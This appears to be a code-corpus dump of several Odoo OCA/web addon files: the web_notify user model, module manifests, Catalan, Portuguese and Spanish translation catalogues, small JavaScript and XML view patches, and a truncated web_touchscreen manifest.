for record in self:
record.notify_success_channel_name = json_dump(
channel_with_db(self.env.cr.dbname, record.partner_id)
)
record.notify_danger_channel_name = json_dump(
channel_with_db(self.env.cr.dbname, record.partner_id)
)
record.notify_warning_channel_name = json_dump(
channel_with_db(self.env.cr.dbname, record.partner_id)
)
record.notify_info_channel_name = json_dump(
channel_with_db(self.env.cr.dbname, record.partner_id)
)
record.notify_default_channel_name = json_dump(
channel_with_db(self.env.cr.dbname, record.partner_id)
)
notify_success_channel_name = fields.Char(compute="_compute_channel_names")
notify_danger_channel_name = fields.Char(compute="_compute_channel_names")
notify_warning_channel_name = fields.Char(compute="_compute_channel_names")
notify_info_channel_name = fields.Char(compute="_compute_channel_names")
notify_default_channel_name = fields.Char(compute="_compute_channel_names")
def notify_success(
self, message="Default message", title=None, sticky=False, target=None
):
title = title or _("Success")
self._notify_channel(SUCCESS, message, title, sticky, target)
def notify_danger(
self, message="Default message", title=None, sticky=False, target=None
):
title = title or _("Danger")
self._notify_channel(DANGER, message, title, sticky, target)
def notify_warning(
self, message="Default message", title=None, sticky=False, target=None
):
title = title or _("Warning")
self._notify_channel(WARNING, message, title, sticky, target)
def notify_info(
self, message="Default message", title=None, sticky=False, target=None
):
title = title or _("Information")
self._notify_channel(INFO, message, title, sticky, target)
def notify_default(
self, message="Default message", title=None, sticky=False, target=None
):
title = title or _("Default")
self._notify_channel(DEFAULT, message, title, sticky, target)
def _notify_channel(
self,
type_message=DEFAULT,
message=DEFAULT_MESSAGE,
title=None,
sticky=False,
target=None,
):
if not (self.env.user._is_admin() or self.env.su) and any(
user.id != self.env.uid for user in self
):
raise exceptions.UserError(
_("Sending a notification to another user is forbidden.")
)
if not target:
target = self.partner_id
bus_message = {
"type": type_message,
"message": message,
"title": title,
"sticky": sticky,
}
notifications = [[partner, "web.notify", [bus_message]] for partner in target]
self.env["bus.bus"]._sendmany(notifications)
| OCA/web/web_notify/models/res_users.py/0 | {
"file_path": "OCA/web/web_notify/models/res_users.py",
"repo_id": "OCA",
"token_count": 1522
} | 74 |
# pylint: disable=missing-docstring
# Copyright 2023 ForgeFlow, S.L.
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
{
"name": "Web Notify Channel Message",
"summary": """
Send an instant notification to channel users when a new message is posted""",
"version": "16.0.1.0.0",
"license": "AGPL-3",
"author": "ForgeFlow, Odoo Community Association (OCA)",
"development_status": "Alpha",
"website": "https://github.com/OCA/web",
"depends": ["web_notify", "mail"],
"installable": True,
}
| OCA/web/web_notify_channel_message/__manifest__.py/0 | {
"file_path": "OCA/web/web_notify_channel_message/__manifest__.py",
"repo_id": "OCA",
"token_count": 209
} | 75 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_pivot_computed_measure
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 13.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2021-07-05 12:48+0000\n"
"Last-Translator: jabelchi <jabelchi@gmail.com>\n"
"Language-Team: none\n"
"Language: ca\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.3.2\n"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/view.xml:0
#, python-format
msgid "!measure.startsWith('__computed_')"
msgstr ""
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Add"
msgstr "Afegir"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Can be empty"
msgstr "Pot estar buit"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Computed Measure"
msgstr "Mesura calculada"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Custom"
msgstr "Personalitat"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Div (m1 / m2)"
msgstr "Div (m1 / m2)"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Float"
msgstr "Comma flotant"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Format"
msgstr "Format"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Formula"
msgstr "Fórmula"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Integer"
msgstr "Enter"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Measure 1"
msgstr "Mesura 1"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Measure 2"
msgstr "Mesura 2"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Mult (m1 * m2)"
msgstr "Mult (m1 * m2)"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Name"
msgstr "Nom"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Operation"
msgstr "Operació"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Perc (m1 * 100 / m2)"
msgstr "Perc (m1 * 100 / m2)"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Percentage"
msgstr "Percentatge"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Sub (m1 - m2)"
msgstr "Resta (m1 - m2)"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/dropdown_item_custom_measure/dropdown_item_custom_measure.xml:0
#, python-format
msgid "Sum (m1 + m2)"
msgstr "Suma (m1 + m2)"
#. module: web_pivot_computed_measure
#. openerp-web
#: code:addons/web_pivot_computed_measure/static/src/pivot/pivot_model.esm.js:0
#, python-format
msgid ""
"This measure is currently used by a 'computed measure'. Please, disable the "
"computed measure first."
msgstr ""
"Aquesta mesura s'usa actualment per una \"mesura calculada\". Si us plau, "
"inhabiliteu primer la mesura calculada."
| OCA/web/web_pivot_computed_measure/i18n/ca.po/0 | {
"file_path": "OCA/web/web_pivot_computed_measure/i18n/ca.po",
"repo_id": "OCA",
"token_count": 2097
} | 76 |
/** @odoo-module **/
/* Copyright 2022 Tecnativa - Carlos Roca
* License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html) */
import {PivotRenderer} from "@web/views/pivot/pivot_renderer";
import {patch} from "@web/core/utils/patch";
patch(PivotRenderer.prototype, "web_pivot_computed_measure.PivotRenderer", {
getFormattedValue(cell) {
if (cell.value === Infinity) {
return "-";
}
return this._super(...arguments);
},
});
| OCA/web/web_pivot_computed_measure/static/src/pivot/pivot_renderer.esm.js/0 | {
"file_path": "OCA/web/web_pivot_computed_measure/static/src/pivot/pivot_renderer.esm.js",
"repo_id": "OCA",
"token_count": 197
} | 77 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_pwa_oca
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 13.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2022-02-01 20:33+0000\n"
"Last-Translator: Rodrigo Macedo <rmsolucoeseminformatica@protonmail.com>\n"
"Language-Team: none\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 4.3.2\n"
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "<span class=\"fa fa-lg fa-globe\" title=\"Icon next to name\"/>"
msgstr ""
#. module: web_pwa_oca
#: model:ir.model.fields,field_description:web_pwa_oca.field_res_config_settings__pwa_background_color
msgid "Background Color"
msgstr "Cor de Fundo"
#. module: web_pwa_oca
#: model:ir.model,name:web_pwa_oca.model_res_config_settings
msgid "Config Settings"
msgstr "Definições de Configuração"
#. module: web_pwa_oca
#: model:ir.model.fields,field_description:web_pwa_oca.field_res_config_settings__pwa_icon
msgid "Icon"
msgstr "Ícone"
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "Name"
msgstr "Nome"
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "Name and icon of your PWA"
msgstr "Nome e ícone do seu PWA"
#. module: web_pwa_oca
#: model:ir.model.fields,help:web_pwa_oca.field_res_config_settings__pwa_name
msgid "Name of the Progressive Web Application"
msgstr "Nome da Aplicação Web Progressiva"
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "PWA Title"
msgstr "Título PWA"
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "Progressive Web App"
msgstr "App Web Progressivo"
#. module: web_pwa_oca
#: model:ir.model.fields,field_description:web_pwa_oca.field_res_config_settings__pwa_name
msgid "Progressive Web App Name"
msgstr "Nome do App Web Progressivo"
#. module: web_pwa_oca
#: model:ir.model.fields,field_description:web_pwa_oca.field_res_config_settings__pwa_short_name
msgid "Progressive Web App Short Name"
msgstr "Nome Curto do App Web Progressivo"
#. module: web_pwa_oca
#. odoo-javascript
#: code:addons/web_pwa_oca/static/src/js/pwa_manager.js:0
#, python-format
msgid ""
"Service workers are not supported! Maybe you are not using HTTPS or you work "
"in private mode."
msgstr ""
"Workers de servição não são suportados! Talvez você não esteja utilizando "
"HTTPS ou esteja trabalhando em modo privado."
#. module: web_pwa_oca
#: model_terms:ir.ui.view,arch_db:web_pwa_oca.res_config_settings_view_form
msgid "Short Name"
msgstr "Nome Curto"
#. module: web_pwa_oca
#: model:ir.model.fields,help:web_pwa_oca.field_res_config_settings__pwa_short_name
msgid "Short Name of the Progressive Web Application"
msgstr "Nome Curto da Aplicação Web Progressiva"
#. module: web_pwa_oca
#: model:ir.model.fields,field_description:web_pwa_oca.field_res_config_settings__pwa_theme_color
msgid "Theme Color"
msgstr "Cor do Tema"
#. module: web_pwa_oca
#. odoo-python
#: code:addons/web_pwa_oca/models/res_config_settings.py:0
#, python-format
msgid "You can only upload PNG files bigger than 512x512"
msgstr "Você só pode carregar arquivos PNG até 512x512"
#. module: web_pwa_oca
#. odoo-python
#: code:addons/web_pwa_oca/models/res_config_settings.py:0
#, python-format
msgid "You can only upload SVG or PNG files. Found: %s."
msgstr "Você só pode fazer upload de arquivos SVG ou PNG. Encontrado: %s."
#. module: web_pwa_oca
#. odoo-python
#: code:addons/web_pwa_oca/models/res_config_settings.py:0
#, python-format
msgid "You can't upload a file with more than 2 MB."
msgstr "Você não pode carregar um arquivo maior que 2MB."
#. module: web_pwa_oca
#. odoo-javascript
#: code:addons/web_pwa_oca/static/src/js/pwa_manager.js:0
#, python-format
msgid "[ServiceWorker] Registered:"
msgstr "[ServiceWorker] Registrado:"
#. module: web_pwa_oca
#. odoo-javascript
#: code:addons/web_pwa_oca/static/src/js/pwa_manager.js:0
#, python-format
msgid "[ServiceWorker] Registration failed: "
msgstr "[ServiceWorker] Falha no registro: "
#~ msgid "You can only upload SVG or PNG files"
#~ msgstr "Você só pode carregar arquivos PNG ou SVG"
| OCA/web/web_pwa_oca/i18n/pt_BR.po/0 | {
"file_path": "OCA/web/web_pwa_oca/i18n/pt_BR.po",
"repo_id": "OCA",
"token_count": 1770
} | 78 |
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2023-09-02 20:35+0000\n"
"PO-Revision-Date: 2023-09-02 20:35+0000\n"
"Last-Translator: Ivorra78 <informatica@totmaterial.es>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: ENCODING\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.17\n"
#. module: web_refresher
#. odoo-javascript
#: code:addons/web_refresher/static/src/xml/refresher.xml:0
#, python-format
msgid "Pager"
msgstr "Buscapersonas"
#. module: web_refresher
#. odoo-javascript
#: code:addons/web_refresher/static/src/xml/refresher.xml:0
#, python-format
msgid "Refresh"
msgstr "Actualizar"
| OCA/web/web_refresher/i18n/es.po/0 | {
"file_path": "OCA/web/web_refresher/i18n/es.po",
"repo_id": "OCA",
"token_count": 363
} | 79 |
<?xml version="1.0" encoding="UTF-8" ?>
<!-- Copyright 2022 Tecnativa - Carlos Roca
License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). -->
<template>
<t
t-name="web_refresher.Pager"
t-inherit="web.Pager"
t-inherit-mode="extension"
owl="1"
>
<xpath expr="//span[hasclass('o_pager_counter')]" position="before">
<div class="oe_cp_refresher" role="search" t-ref="refresher">
<Refresher t-props="props" />
</div>
</xpath>
</t>
</template>
| OCA/web/web_refresher/static/src/xml/pager.xml/0 | {
"file_path": "OCA/web/web_refresher/static/src/xml/pager.xml",
"repo_id": "OCA",
"token_count": 279
} | 80 |
# Copyright 2016-2017 LasLabs Inc.
# Copyright 2017-2018 Tecnativa - Jairo Llopis
# Copyright 2018-2019 Tecnativa - Alexandre Díaz
# Copyright 2021 ITerra - Sergey Shebanin
# Copyright 2023 Onestein - Anjeel Haria
# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl.html).
{
"name": "Web Responsive",
"summary": "Responsive web client, community-supported",
"version": "16.0.1.2.6",
"category": "Website",
"website": "https://github.com/OCA/web",
"author": "LasLabs, Tecnativa, ITerra, Onestein, "
"Odoo Community Association (OCA)",
"license": "LGPL-3",
"installable": True,
"depends": ["web", "mail"],
"development_status": "Production/Stable",
"maintainers": ["Tardo", "SplashS"],
"excludes": ["web_enterprise"],
"data": ["views/web.xml"],
"assets": {
"web.assets_backend": [
"/web_responsive/static/src/views/form/form_controller.esm.js",
"/web_responsive/static/src/legacy/scss/web_responsive.scss",
"/web_responsive/static/src/legacy/js/web_responsive.js",
"/web_responsive/static/src/components/ui_context.esm.js",
"/web_responsive/static/src/components/apps_menu/apps_menu.scss",
"/web_responsive/static/src/components/apps_menu/apps_menu.esm.js",
"/web_responsive/static/src/components/control_panel/control_panel.scss",
"/web_responsive/static/src/components/control_panel/control_panel.esm.js",
"/web_responsive/static/src/components/search_panel/search_panel.scss",
"/web_responsive/static/src/components/search_panel/search_panel.esm.js",
"/web_responsive/static/src/components/hotkey/hotkey.scss",
"/web_responsive/static/src/legacy/xml/form_buttons.xml",
"/web_responsive/static/src/components/apps_menu/apps_menu.xml",
"/web_responsive/static/src/components/control_panel/control_panel.xml",
"/web_responsive/static/src/components/search_panel/search_panel.xml",
"/web_responsive/static/src/components/hotkey/hotkey.xml",
"/web_responsive/static/src/components/chatter_topbar/chatter_topbar.esm.js",
"/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml",
"/web_responsive/static/src/components/attachment_viewer/attachment_viewer.scss",
"/web_responsive/static/src/components/attachment_viewer/attachment_viewer.esm.js",
"/web_responsive/static/src/components/attachment_viewer/attachment_viewer.xml",
"/web_responsive/static/src/views/form/form_controller.scss",
],
"web.assets_tests": [
"/web_responsive/static/tests/test_patch.js",
],
},
"sequence": 1,
}
| OCA/web/web_responsive/__manifest__.py/0 | {
"file_path": "OCA/web/web_responsive/__manifest__.py",
"repo_id": "OCA",
"token_count": 1187
} | 81 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_responsive
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 16.0\n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: \n"
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#, python-format
msgid "Activities"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/search_panel/search_panel.xml:0
#, python-format
msgid "All"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#, python-format
msgid "Attachment counter loading..."
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#, python-format
msgid "Attachments"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#, python-format
msgid "CLEAR"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#, python-format
msgid "Discard"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/search_panel/search_panel.xml:0
#, python-format
msgid "FILTER"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/apps_menu/apps_menu.xml:0
#, python-format
msgid "Home Menu"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#, python-format
msgid "Log note"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/attachment_viewer/attachment_viewer.xml:0
#: code:addons/web_responsive/static/src/components/attachment_viewer/attachment_viewer.xml:0
#, python-format
msgid "Maximize"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/attachment_viewer/attachment_viewer.xml:0
#: code:addons/web_responsive/static/src/components/attachment_viewer/attachment_viewer.xml:0
#, python-format
msgid "Minimize"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#, python-format
msgid "New"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/search_panel/search_panel.xml:0
#, python-format
msgid "SEE RESULT"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#: code:addons/web_responsive/static/src/legacy/xml/form_buttons.xml:0
#, python-format
msgid "Save"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/apps_menu/apps_menu.xml:0
#, python-format
msgid "Search menus..."
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#, python-format
msgid "Search..."
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/chatter_topbar/chatter_topbar.xml:0
#, python-format
msgid "Send message"
msgstr ""
#. module: web_responsive
#. odoo-javascript
#: code:addons/web_responsive/static/src/components/control_panel/control_panel.xml:0
#, python-format
msgid "View switcher"
msgstr ""
| OCA/web/web_responsive/i18n/web_responsive.pot/0 | {
"file_path": "OCA/web/web_responsive/i18n/web_responsive.pot",
"repo_id": "OCA",
"token_count": 1807
} | 82 |
<?xml version="1.0" encoding="UTF-8" ?>
<!-- Copyright 2021 Sergey Shebanin
License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl). -->
<templates>
<t t-inherit="web.Legacy.SearchPanel" t-inherit-mode="extension" owl="1">
<xpath expr="//div[hasclass('o_search_panel')]" position="inside">
<div
t-if="ui.isSmall"
class="o_search_panel_summary"
t-on-click.stop="() => this.state.mobileSearch = true"
>
<div class="d-flex flex-wrap align-items-center">
<i class="fa fa-fw fa-filter mr-1" />
<t t-set="filters" t-value="getActiveSummary()" />
<span t-foreach="filters" t-as="filter" class="mx-1">
<i
t-if="filter.icon"
t-attf-class="fa {{ filter.icon }} mr-2"
t-att-style="filter.color and ('color: ' + filter.color)"
/>
<t
t-esc="filter.values.join(filter.type == 'category' ? ' / ' : ', ')"
/>
</span>
<t t-if="!filters.length">All</t>
</div>
</div>
<div
class="o_search_panel_content"
t-att-class="ui.isSmall ? (state.mobileSearch ? 'o_mobile_search' : 'd-none'): ''"
/>
</xpath>
<xpath expr="//div[hasclass('o_search_panel_content')]" position="inside">
<div t-if="ui.isSmall" class="o_mobile_search_header">
<span
class="o_mobile_search_close float-left mt16 mb16 mr8 ml16"
t-on-click.stop="state.mobileSearch = false"
>
<i class="fa fa-arrow-left" />
<strong class="float-right ml8">FILTER</strong>
</span>
</div>
<xpath expr="//section" position="move" />
<div
t-if="ui.isSmall"
class="btn btn-primary o_mobile_search_show_result fixed-bottom"
t-on-click.stop="state.mobileSearch = false"
>
<t>SEE RESULT</t>
</div>
</xpath>
</t>
</templates>
| OCA/web/web_responsive/static/src/components/search_panel/search_panel.xml/0 | {
"file_path": "OCA/web/web_responsive/static/src/components/search_panel/search_panel.xml",
"repo_id": "OCA",
"token_count": 1368
} | 83 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_save_discard_button
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 16.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2023-11-27 11:34+0000\n"
"Last-Translator: mymage <stefano.consolaro@mymage.it>\n"
"Language-Team: none\n"
"Language: it\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.17\n"
#. module: web_save_discard_button
#. odoo-javascript
#: code:addons/web_save_discard_button/static/src/xml/template.xml:0
#, python-format
msgid "Discard"
msgstr "Abbandona"
#. module: web_save_discard_button
#: model:ir.model,name:web_save_discard_button.model_ir_http
msgid "HTTP Routing"
msgstr "Instradamento HTTP"
#. module: web_save_discard_button
#. odoo-javascript
#: code:addons/web_save_discard_button/static/src/xml/template.xml:0
#, python-format
msgid "Save"
msgstr "Salva"
| OCA/web/web_save_discard_button/i18n/it.po/0 | {
"file_path": "OCA/web/web_save_discard_button/i18n/it.po",
"repo_id": "OCA",
"token_count": 420
} | 84 |
* Telmo Santos <telmo.santos@camptocamp.com>
| OCA/web/web_select_all_companies/readme/CONTRIBUTORS.rst/0 | {
"file_path": "OCA/web/web_select_all_companies/readme/CONTRIBUTORS.rst",
"repo_id": "OCA",
"token_count": 19
} | 85 |
# Copyright (C) 2022 - Today: GRAP (http://www.grap.coop)
# @author: Sylvain LE GAL (https://twitter.com/legalsylvain)
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
{
"name": "Web Theme Classic",
"summary": "Contrasted style on fields to improve the UI.",
"version": "16.0.1.0.2",
"author": "GRAP, Odoo Community Association (OCA)",
"maintainers": ["legalsylvain"],
"website": "https://github.com/OCA/web",
"license": "AGPL-3",
"category": "Extra Tools",
"depends": [
"web",
],
"assets": {
"web.assets_backend": [
"/web_theme_classic/static/src/scss/web_theme_classic.scss",
],
},
"installable": True,
"application": True,
}
| OCA/web/web_theme_classic/__manifest__.py/0 | {
"file_path": "OCA/web/web_theme_classic/__manifest__.py",
"repo_id": "OCA",
"token_count": 325
} | 86 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_timeline
#
# Translators:
# Pedro M. Baeza <pedro.baeza@gmail.com>, 2017
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-01-03 03:50+0000\n"
"PO-Revision-Date: 2023-09-02 20:35+0000\n"
"Last-Translator: Ivorra78 <informatica@totmaterial.es>\n"
"Language-Team: Spanish (https://www.transifex.com/oca/teams/23907/es/)\n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.17\n"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_renderer.js:0
#, python-format
msgid "<b>UNASSIGNED</b>"
msgstr "<b>SINASIGNAR</b>"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_controller.esm.js:0
#, python-format
msgid "Are you sure you want to delete this record?"
msgstr "¿Está seguro que desea eliminar este registro?"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/xml/web_timeline.xml:0
#, python-format
msgid "Day"
msgstr "Día"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/xml/web_timeline.xml:0
#, python-format
msgid "Month"
msgstr "Mes"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_renderer.js:0
#, python-format
msgid "Template \"timeline-item\" not present in timeline view definition."
msgstr ""
"La plantilla \"elemento de línea de tiempo\" no está presente en la "
"definición de vista de línea de tiempo."
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_view.js:0
#: model:ir.model.fields.selection,name:web_timeline.selection__ir_ui_view__type__timeline
#, python-format
msgid "Timeline"
msgstr "Línea de tiempo"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_renderer.js:0
#, python-format
msgid "Timeline view has not defined 'date_start' attribute."
msgstr ""
"La vista de línea de tiempo no tiene definido el atributo 'date_start'."
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/xml/web_timeline.xml:0
#, python-format
msgid "Today"
msgstr "Hoy"
#. module: web_timeline
#: model:ir.model,name:web_timeline.model_ir_ui_view
msgid "View"
msgstr "Vista"
#. module: web_timeline
#: model:ir.model.fields,field_description:web_timeline.field_ir_ui_view__type
msgid "View Type"
msgstr "Tipo de Vista"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/js/timeline_controller.esm.js:0
#, python-format
msgid "Warning"
msgstr "Advertencia"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/xml/web_timeline.xml:0
#, python-format
msgid "Week"
msgstr "Semana"
#. module: web_timeline
#. odoo-javascript
#: code:addons/web_timeline/static/src/xml/web_timeline.xml:0
#, python-format
msgid "Year"
msgstr "Año"
#~ msgid "ir.ui.view"
#~ msgstr "ir.ui.view"
| OCA/web/web_timeline/i18n/es.po/0 | {
"file_path": "OCA/web/web_timeline/i18n/es.po",
"repo_id": "OCA",
"token_count": 1268
} | 87 |
Define a new view displaying events in an interactive visualization chart.
The widget is based on the external library
https://visjs.github.io/vis-timeline/examples/timeline
| OCA/web/web_timeline/readme/DESCRIPTION.rst/0 | {
"file_path": "OCA/web/web_timeline/readme/DESCRIPTION.rst",
"repo_id": "OCA",
"token_count": 44
} | 88 |
# Copyright 2023 Moduon Team S.L.
# License LGPL-3.0 or later (https://www.gnu.org/licenses/lgpl-3.0)
{
"name": "Web Touchscreen",
"summary": "UX improvements for touch screens",
"version": "16.0.1.0.1",
"development_status": "Alpha",
"category": "Extra Tools",
"website": "https://github.com/OCA/web",
"author": "Moduon, Odoo Community Association (OCA)",
"maintainers": ["yajo", "rafaelbn"],
"license": "LGPL-3",
"application": False,
"installable": True,
